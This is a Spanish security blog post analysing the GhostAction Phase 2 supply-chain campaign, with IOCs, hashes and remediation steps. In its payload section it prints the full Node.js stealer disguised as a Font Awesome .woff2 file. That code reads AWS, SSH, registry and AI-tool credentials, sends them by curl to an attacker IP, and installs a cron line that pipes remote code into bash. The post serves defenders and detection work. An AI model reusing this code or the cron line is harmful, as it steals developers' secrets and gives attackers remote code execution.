Seguridad

GhostAction Fase 2: phishing de GitHub y stealer disfrazado de fuente

TL;DR — Lo que necesitas saber antes de seguir leyendo

GhostAction entra en Fase 2 y cambia el juego

  • El problema: GhostAction, la cadena de suministro de GitHub que robó 3.325 secretos en septiembre, ahora añade una segunda etapa que persiste aun después de borrar el workflow malicioso. Investigadores de OpenSourceMalware y Jamf Threat Labs confirmaron 94 repositorios comprometidos de 66 dueños distintos, con foco principal en paquetes npm y PyPI.
  • El truco nuevo: commitean un .vscode/tasks.json etiquetado como eslint-check que se autoejecuta al abrir el proyecto en Visual Studio Code y lanza un archivo public/fonts/fa-solid-400.woff2 que parece la fuente de Font Awesome pero contiene 38 líneas de Node.js sin obfuscación. Después instala un cron que cada 5 minutos descarga y ejecuta código arbitrario del servidor del atacante.
  • Qué te roba: claves AWS, tokens de PyPI, npm, GitHub, Kubernetes, archivos .netrc, claves SSH (id_rsa e id_ed25519) completas, y los credenciales de Claude y Gemini guardados en ~/.claude/ y ~/.gemini/.
  • Bonus: el mismo operador registró el dominio my-github[.]com el 9 de octubre de 2026 (apunta a la misma IP, 193[.]32[.]204[.]199) y lo usa en correos phishing que fingen ser alertas de seguridad de GitHub, con un kit de proxy inverso que captura contraseñas + 2FA + autoriza una OAuth app con permiso de lectura y escritura sobre tus repos.
  • Si abriste un repo infectado hoy mismo: deja de abrir la carpeta en VS Code, ejecuta crontab -l | grep ghc2 y elimina esa línea, y rota todas las credenciales mencionadas desde un equipo limpio. Abajo tienes el protocolo completo.

Llevo semanas recibiendo alertas sobre GhostAction y la verdad es que pensé que la fase 1 era lo peor que íbamos a ver de este grupo. El reporte original de GitGuardian del 9 de septiembre documentaba 3.325 secretos extraídos desde workflows fake de seguridad que se commiteaban en repos npm y PyPI: un workflow llamado security-audit.yml o lint.yml que filtraba los secretos de CI hacia un servidor del atacante. Limpia la Actions maliciosa, rota tokens, y respiras. Lo que documentaron Thijs Xhaflaire (Jamf Threat Labs) y Jenn Gile (OpenSourceMalware) el 16 de octubre cambia esa foto por completo: ahora la intrusión sobrevive a que limpies el workflow, deja un cron cada 5 minutos en tu máquina, y roba tokens de herramientas de IA que hasta hace seis meses no existían. Es una escalada seria que merecía un artículo propio.

La fase 1 que ya conocíamos

Para poner en contexto la fase 2 hay que recordar qué hacía la fase 1. El modelo inicial era simple y efectivo: usando PATs (Personal Access Tokens) de GitHub robados desde logs de infostealers, los operadores accedían a cuentas de mantenedores reales, pushaban un workflow de GitHub Actions con nombre inofensivo (security-audit.yml, lint.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, test-suite.yml), y ese workflow ejecutaba código que exfiltraba:

  • Los secretos del repositorio (secrets.GITHUB_TOKEN, secrets.NPM_TOKEN, etc.)
  • Variables de entorno del runner
  • Resultado de grep en el historial de Git buscando patrones de tokens AWS, GitHub, npm y PyPI
  • A veces, el contenido de archivos de credenciales en el runner

Todo se enviaba vía HTTP POST a un endpoint del tipo hxxp://193[.]32[.]204[.]199/?c=<tag>. GitGuardian midió 1.900 cuentas afectadas y 3.174 secretos scrapeados. La mitigación era tediosa pero posible: auditar workflows nuevos, revertir commits, rotar tokens, purgar el historial de Git.

Lo que los atacantes aprendieron es que limpiar workflows manualmente no sirve de nada si la cuenta del dueño sigue comprometida. Y si ni siquiera pueden comprometer la cuenta, pueden engañar al dueño para que les entregue un token OAuth por otro lado. De ahí viene la fase 2.

La fase 2: qué cambió

La fase 2 es una segunda capa que añade tres archivos al repositorio infectado más una tarea programada en la máquina del desarrollador:

Archivo Nombre aparente Qué es realmente
.vscode/tasks.json Tarea de linting rutinario Launcher que invoca Node.js sobre el falso .woff2
public/fonts/fa-solid-400.woff2 Fuente Font Awesome 400 Regular 38 líneas de Node.js sin obfuscación que roba credenciales
.github/workflows/lint.yml (u otros nombres) Workflow de CI adicional Variante del stage 1 con más patrones de regex + fallback a un gist secreto
Cron en macOS/Linux (ninguno, invisible) Cada 5 minutos descarga y ejecuta un script del servidor atacante

El truco del .woff2 merece una pausa. Node.js ejecuta cualquier archivo que le pases como argumento, sin importar la extensión. Si VS Code corre la tarea node ./public/fonts/fa-solid-400.woff2, el archivo se ejecuta como JavaScript sin que ningún motor antimalware lo inspeccione. Y un archivo llamado fa-solid-400.woff2 es exactamente lo que esperarías ver en cualquier proyecto web moderno, porque la fuente sólida de Font Awesome realmente se llama así: fa-solid-400.woff2. Engaña al ojo humano y a las búsquedas automatizadas que filtran por extensión.

Anatomía de la falsa fuente: 38 líneas que lo cambian todo

Lo que OpenSourceMalware publicó como código del payload es accesible y se puede leer sin ejecutar. Lo importante: nada está obfuscado, así que se puede entender exactamente qué hace cada línea:

var os, fs, cp;
try { os = require('os'); fs = require('fs'); cp = require('child_process'); } catch (e) { os = null; }
try {
  if (os) {
    var home = os.homedir();
    var r = "DEVBOX user=" + os.userInfo().username + " host=" + os.hostname() +
            " repo=" + (process.env.GITHUB_REPOSITORY || "");
    var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".netrc",
                 ".claude/.credentials.json", ".gemini/oauth_creds.json", ".kube/config"];
    files.forEach(function(f) {
      var p = home + "/" + f;
      try {
        if (fs.existsSync(p)) r += "nFILE:" + p + "n" + fs.readFileSync(p, "utf8").slice(0, 3000);
      } catch (e) {}
    });
    [".ssh/id_rsa", ".ssh/id_ed25519"].forEach(function(k) {
      var p = home + "/" + k;
      try {
        if (fs.existsSync(p)) r += "nSSHKEY:" + p + "n" + fs.readFileSync(p, "utf8");
      } catch (e) {}
    });
    try {
      r += "nGREP:" + cp.execSync(
        "grep -rhoE 'A[KS]IA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|ghp_[A-Za-z0-9]{36}|" +
        "npm_[A-Za-z0-9]{36}|pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_-]{20,}' " +
        home + " 2>/dev/null | sort -u | head -30", {timeout: 10000}).toString();
    } catch (e) {}
    Object.keys(process.env).forEach(function(k) {
      if (/^(AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GITHUB_TOKEN|_API_KEY|_TOKEN)/.test(k))
        r += "nENV:" + k + "=" + process.env[k];
    });
    try {
      cp.execSync("curl -s -m 15 -X POST --data-binary @- http://193.32.204.199:8080/?c=reinject",
                  {input: r, timeout: 20000});
    } catch (e) {}
    try {
      cp.execSync('(crontab -l 2>/dev/null | grep -v ghc2; ' +
                  'echo "*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash ' +
                  '>/dev/null 2>&1 #ghc2") | crontab -');
    } catch (e) {}
  }
} catch (e) {}

El payload tiene cuatro pasos. Primero, arma un reporte con el usuario, el hostname y el nombre del repositorio GitHub donde corre. Después lee ocho archivos de credenciales con tope de 3.000 caracteres por archivo: ~/.aws/credentials, ~/.pypirc, ~/.npmrc, ~/.git-credentials, ~/.netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json y ~/.kube/config. Después lee las dos claves SSH principales (id_rsa e id_ed25519) completas, sin tope. Y por último corre un grep recursivo en $HOME buscando patrones de tokens AWS, Anthropic, GitHub, npm y PyPI.

Hay dos errores en el filtro de variables de entorno: el ancla ^ en cada patrón hace que _API_KEY y _TOKEN solo matcheen variables que empiecen con guión bajo (la mayoría no), y el grep tiene un timeout de 10 segundos que al escanear el home completo a menudo se agota. Los dos errores restan cobertura, no la aumentan: las claves SSH y los archivos de credenciales se leen directamente, así que esa parte sigue funcionando bien. Pero el cambio de target — incluir credenciales de Claude y Gemini — sí es nuevo. Las campañas de supply chain que documentamos en soylinux el año pasado no tocaban esas herramientas porque apenas existían; GhostAction Fase 2 las recoge de serie.

El verdadero peligro: el cron que queda después

El robo de credenciales es serio, pero lo que vuelve esta etapa realmente peligrosa son las últimas cuatro líneas del payload. Instalan un cron que se ejecuta cada cinco minutos:

*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash   #ghc2

El parámetro $(hostname) es clave: el atacante puede dar instrucciones distintas a cada máquina comprometida según su nombre de host. La línea usa el marcador #ghc2 que el propio script filtra antes de instalar, así que correrlo dos veces no apila duplicados — pero eso también significa que es trivial de identificar. Si haces crontab -l | grep ghc2 y aparece una línea, sabes que la máquina está comprometida.

¿Y qué recibe la máquina cada cinco minutos? Los investigadores explican en su análisis que no han recuperado lo que devuelve el endpoint /c2/<hostname>, así que el contenido del Stage 3 sigue siendo unknown. Lo que sí sabemos es que la máquina infectada ejecuta lo que sea que el atacante decida: instalar un cryptominer, desplegar un RAT, exfiltrar otros archivos, propagarse a otros repos usando las credenciales de Git, lo que sea. Y borrar el archivo .woff2 no detiene esto. Hay que borrar explícitamente la línea del cron, y aun así hay que asumir que mientras estaba activa el atacante envió comandos.

El detalle que me parece más importante: el cron se ejecuta aunque borres el repositorio entero de tu máquina. Es una persistencia clásica por tareas programadas y es exactamente el escenario que tu endpoint security está peor equipada para detectar.

El phishing a mantenedores: my-github[.]com y el kit de OAuth

La segunda innovación de GhostAction Fase 2 no vive en el repositorio: vive en el correo. El 9 de octubre de 2026 se registró el dominio my-github[.]com apuntando a la misma IP 193[.]32[.]204[.]199 que recibe los reportes del stealer. Ese mismo día se envió el primer correo phishing: una alerta de seguridad de GitHub que decía que se había detectado un nuevo inicio de sesión desde Moscú y urgía al mantenedor a hacer clic para asegurar su cuenta.

El dominio hermano my-gitlab[.]com se registró 17 días antes (el 22 de septiembre) pero no hay evidencia directa que lo vincule al mismo operador. Lo razonable es asumir que sí, pero los investigadores prefieren ser cautos.

El kit de phishing detrás de my-github[.]com es más sofisticado que un simple form de credenciales. Funciona como proxy inverso: el usuario cree estar iniciando sesión en GitHub, pero sus datos viajan en tiempo real al servidor del atacante, junto con el código 2FA. Pero lo verdaderamente insidioso es el JavaScript que corre después del login: autoriza una OAuth app con permisos de lectura y escritura sobre repositorios, modificación de archivos de workflow y visibilidad de la membresía en organizaciones. El objetivo final es obtener un access token del tipo device code, igual al patrón que se popularizó con las campañas de Tycoon/Storm-2372 a principios de 2025.

Con ese token de OAuth válido, los atacantes vuelven al flujo de la fase 1: commitean el workflow malicioso en cada repo donde la cuenta tiene push. La cadena es phishing → token OAuth → workflow en repo → fase 2 opcional. Es una cadena completa de ATO (account takeover) que no requiere explotar ninguna vulnerabilidad técnica.

Por qué copiar a PolinRider

El truco del .woff2 no es original. Lo vimos por primera vez en enero de 2026 en una campaña del Lazarus Group (DPRK) llamada PolinRider, también documentada por OpenSourceMalware: una variante de la Contagious Interview que usaba fa-brands-regular.woff2 como contenedor de JavaScript obfuscado. Durante 2026 PolinRider migró a fa-solid-400.woff2 como nombre del archivo, y el equipo de Thijs Xhaflaire se topó con el cluster de GhostAction mientras cazaba infecciones de PolinRider. Es decir: este mismo patrón ya existía y funcionaba.

La tabla comparativa que publicaron los investigadores es útil para entender qué se reutilizó y qué se cambió:

Característica PolinRider (DPRK) GhostAction (Fase 2)
Launcher .vscode/tasks.json, runOn: folderOpen, label eslint-check Mismo label, mismo trigger
Presentation reveal: never, panel: dedicated Igual, más isBackground, hide, echo: false, close: true
Archivo del payload public/fonts/<font-name>.woff2 public/fonts/fa-solid-400.woff2
Código JavaScript obfuscado 38 líneas de JavaScript plano
¿De dónde viene la siguiente etapa? Blockchain dead drops (transacciones en Ethereum) IP fija por HTTP, después cron
Targets Credenciales de navegador, wallets, SSH, AWS Archivos de credenciales, SSH, cloud, registry, AI tools. Sin wallets.
Propagación Auto-spread desde el repo infectado con credenciales cacheadas Pusheado bajo la identidad del dueño, sin wallet/auto-spread

Los IOCs no se solapan entre PolinRider y GhostAction Fase 2. No hay indicadores compartidos que sugieran que sea el mismo operador. La conclusión directa: GhostAction copió la idea de PolinRider, igual que copiar es trivial cuando hay miles de muestras activas circulando. Eso vuelve esta técnica una commodity, lo que significa que vas a verla cada vez más en distintas variantes.

Cómo verificar si tu repo está comprometido

Si trabajas con un repositorio open source en npm, PyPI o cualquier registry pública, asume que necesitas auditarlo. Estos son los archivos y hashes confirmados hasta ahora:

Archivo SHA-256
public/fonts/fa-solid-400.woff2 (batch reinject) cb3842832267421b9563c7bd32d3582a8fff624860e57c2c9058966735d4da60
public/fonts/fa-solid-400.woff2 (batch auto_20261015) 61eca87b4b4c3e6248dc0fde25ff9cf28637798a8c4be172eaef9843252d12f6
public/fonts/fa-solid-400.woff2 (batch auto_20261014) 92dec8f50d934c338ff3c1bcbf1c9b028aa9561128d0077a101a1ef4dac0f0db
.vscode/tasks.json a043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb
.github/workflows/security-audit.yml (v1) 6d258db70677c99c08c9db37e002751eb0f0fb7c0cab2a4effd7c8fa8d115d19
.github/workflows/security-audit.yml (v2) d301438d713006a7a63889969fb5a30389c88bba5fbd89ef22becac611823a4f
.github/workflows/lint.yml (Stage 2) 40a007874722c46e0d194c4453f6cee26ee9c64513597784cc9c0e8b85471e7c

Marcadores textuales que también deberías buscar en tus repos con grep -r:

  • Etiquetas de tarea: eslint-check dentro de cualquier .vscode/tasks.json
  • Cabecera de reporte en logs: DEVBOX user=
  • Comentarios de cron: #ghc2
  • Workflow filenames Stage 2: lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, test-suite.yml, cache-cleanup.yml
  • IPs y endpoints a bloquear: 193[.]32[.]204[.]199; hxxp://193[.]32[.]204[.]199:8080/?c=reinject; variantes ?c=auto_20261013, ?c=auto_20261014, ?c=auto_20261015, ?c=security, ?c=new; ruta dinámica /c2/<hostname>
  • Mensajes de commit: Add security audit workflow, Update security audit workflow, Add font assets, Add editor task, y para el segundo workflow Add linting workflow, Add CI check workflow, Add build check workflow, Add repo health workflow, Add audit workflow, Add code review workflow, Add test suite workflow, Add cache cleanup

Si tienes un SIEM o un EDR con capacidad de hunting, los patrones anteriores son directamente traducibles a queries. Si no, basta con un grep -r 'eslint-check' .vscode/ desde la raíz de cualquier repo sospechoso + un find . -name 'tasks.json' -path '*.vscode*' en busca de binarios camuflados como fuentes.

Si clonaste o abriste uno de estos repos hoy mismo

Abrir un repositorio infectado no es suficiente para ejecutarlo. VS Code solo corre una tarea de tipo folderOpen en un workspace de confianza, y solo si las tareas automáticas están habilitadas, ya sea haciendo clic en Allow en el prompt único de aviso o configurando task.allowAutomaticTasks: on en settings. Si eso pasó mientras los archivos estaban en el repositorio, trata las credenciales de la máquina como comprometidas. Ejecutar el archivo de la fuente con node tiene el mismo efecto. El protocolo que recomiendan los investigadores para responder:

  1. Detener la ejecución. Asegúrate de que task.allowAutomaticTasks esté en off (que es el default) y no vuelvas a abrir la carpeta en VS Code mientras esté infectada.
  2. Buscar el foothold del cron. En macOS y Linux ejecuta crontab -l | grep ghc2. Si devuelve una línea con la IP del atacante y el marcador, bórrala con crontab -e. En Windows no hay crontab, así que el robo de credenciales sí puede ejecutarse pero el cron propiamente no se instala.
  3. Asumir que hubo ejecución remota. Si encontraste la línea del cron, el servidor tuvo oportunidad cada cinco minutos de correr comandos en la máquina. No sabemos qué envió. Sigue la guía de PolinRider para detectar persistencia adicional y considera rebuild de la máquina.
  4. Rotar credenciales desde un equipo limpio, después de contener la máquina. Eso incluye claves SSH, credenciales de AWS, tokens de npm y PyPI, tokens de GitHub, contenido de ~/.kube/config y cualquier login o key de Anthropic, OpenAI o Gemini.

El orden importa: primero contener, después rotar desde otra máquina. Rotar mientras la comprometida sigue activa es como cambiar la cerradura de un apartamento mientras el ladrón sigue adentro.

Hardening mínimo en VS Code y CI

El vector de entrada exige que VS Code esté configurado para ejecutar tareas automáticas en workspaces recién abiertos. Para los mantenedores de proyectos abiertos eso es la opción por default y rara vez se cambia explícitamente. Conviene ajustar dos cosas:

  • Forzar trusted workspace: en VS Code, ejecuta Workspaces: Trust en la paleta y configura el proyecto como no confiable antes de inspeccionar archivos sospechosos. Sin trust, las folderOpen tasks no se ejecutan.
  • Desactivar tareas automáticas por default: en Settings → Tasks → Allow Automatic Tasks in Standard Mode, ponlo en off y solo actívalo manualmente cuando estés seguro del repositorio. Vale la pena perder 3 segundos de fricción a cambio de un default seguro.
  • Revisar .vscode/tasks.json antes de abrir nada en VS Code. Un cat .vscode/tasks.json de 5 segundos detecta cualquier launcher malicioso. Si ves un node ./fonts/* o un curl embebido, no abras la carpeta en VS Code, ábrela con un editor que no ejecute tareas (Vim, nano, Sublime Text sin plugin de tasks).
  • Auditar GitHub Actions workflows desconocidos. Los nombres que vimos arriba son los que circulan, pero el patrón es fácil de replicar. Cualquier workflow nuevo que aparezca en tu repo sin que tú o un commiter de confianza lo haya creado merece una revisión inmediata, idealmente con git log --diff-filter=A --name-only --pretty=format: -- '.github/workflows/'.

Y por supuesto: si recibes un correo diciendo que hubo un nuevo login desde una ciudad sospechosa, no hagas clic en el enlace. Ve directamente a github.com y revisa el panel de seguridad. Los kits de phishing como my-github[.]com viven precisamente del clic impulsivo.

Resumen

GhostAction Fase 2 no es una escalada técnica nueva: es una escalada operativa. El truco del .woff2 ya existía en PolinRider; el patrón del cron ya era conocido. Lo que cambió es que ahora la cadena de suministro apunta específicamente a credenciales de AI tools (Claude y Gemini son código nuevo de robar), ahora añade persistencia por tareas programadas que sobrevive a limpiar el repo, y ahora complementa el compromiso de cuenta con un kit de phishing que captura OAuth tokens con permisos de escritura. Para equipos de seguridad lo concreto es: auditar workflows sospechosos, vigilar los archivos .vscode/tasks.json que aparezcan sin tu consentimiento, monitorear la IP 193[.]32[.]204[.]199 en egress logs, y configurar VS Code para no autoejecutar tareas por default. Si lo haces hoy, te ahorras el incidente de la próxima semana.

Preguntas frecuentes

¿Cómo sé si ya estoy comprometido?

Si clonas un repositorio infectado sin abrirlo en VS Code, o lo abres en un editor que no ejecute tareas automáticas, no hay compromiso. Si lo abriste en VS Code con task.allowAutomaticTasks: on, ejecuta crontab -l | grep ghc2 en macOS/Linux: si devuelve una línea con la IP y el marcador, asume compromiso. Como auditoría adicional busca cualquier .vscode/tasks.json que contenga un command: node apuntando a un archivo .woff2 o fa-*.woff2.

¿Solo afecta a proyectos JavaScript / Node?

El payload es JavaScript y necesita Node.js instalado para ejecutarse. Pero los repos de Python (PyPI), Rust (crates), Go u otros lenguajes también pueden ser objetivo si el mantenedor tiene Node en su máquina. La auditoría de .vscode/tasks.json aplica a cualquier repo donde VS Code sea el editor.

¿Por qué no se detectó en los antivirus?

Porque la extensión .woff2 no es sospechosa para los motores antimalware por sí sola: cualquier proyecto web legítimo tiene archivos fa-solid-400.woff2 en su public/fonts/. La firma tendría que combinar el nombre + el path + el comando node ejecutándolo, cosa que los antivirus no hacen porque rompe el modelo de firmas. La defensa está en el EDR comportamental y en la auditoría de tareas VS Code, no en el AV.

¿Mi token de Claude o Gemini realmente está en riesgo?

Sí. El payload lee ~/.claude/.credentials.json y ~/.gemini/oauth_creds.json completos hasta 3.000 caracteres. Si usas Claude Code o el CLI de Gemini con credenciales guardadas en disco, asume que quedaron comprometidas si abriste un repo infectado.

¿Cuál es la diferencia entre fases 1 y 2?

Fase 1: robar secretos del repositorio ejecutándose en GitHub Actions. Fase 2: añadir persistencia en la máquina del desarrollador leyendo dotfiles, claves SSH y credenciales de AI tools, más un cron que ejecuta código remoto cada 5 minutos. Limpiar workflows de Fase 1 no elimina la persistencia de Fase 2.

¿Tengo que dejar de clonar repos públicos?

No. Clonar no ejecuta nada. El compromiso ocurre cuando abres el proyecto en VS Code con tareas automáticas habilitadas y folderOpen configurado. Usa editores que no ejecuten tareas automáticas (code -add . con un settings que deshabilite automatic tasks, Vim, Sublime sin plugin de tasks) para inspeccionar proyectos sospechosos.

¿Cómo bloqueo la IP en mi firewall corporativo?

Bloquea 193.32.204.199 en egress a puertos 80 y 8080. Esa IP fue usada para exfiltración y C2 de GhostAction. Si tienes un proxy corporativo con listas de IPs de inteligencia de amenazas (threat intel feeds), agrega my-github[.]com y my-gitlab[.]com como dominios a filtrar.

Lee también

Alfonso Moreno | Sysadmin Senior

Soy Alfonso, sysadmin senior con RHCE y más de 10 años administrando sistemas Linux para empresas y proyectos personales. Me especializo en infraestructura, redes, virtualización, monitoring, automation y self-hosting. Sobre SoyLinux.com SoyLinux.com es un blog técnico en español sobre Linux, software libre y self-hosting. Lo mantengo en mi tiempo libre. Áreas de expertise - Linux server administration: RHEL, CentOS, Rocky, Alma, Fedora, Debian, Ubuntu - Network services: Postfix, BIND, Samba, NFS, Squid - Virtualización y containers: KVM, Proxmox, Docker, Podman - Monitoring: Prometheus, Grafana, Zabbix - Automation: Ansible, Bash scripting - Self-hosting: Vaultwarden, Nextcloud, Jellyfin, Immich, Homelab Contacto - Email: [email protected]

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *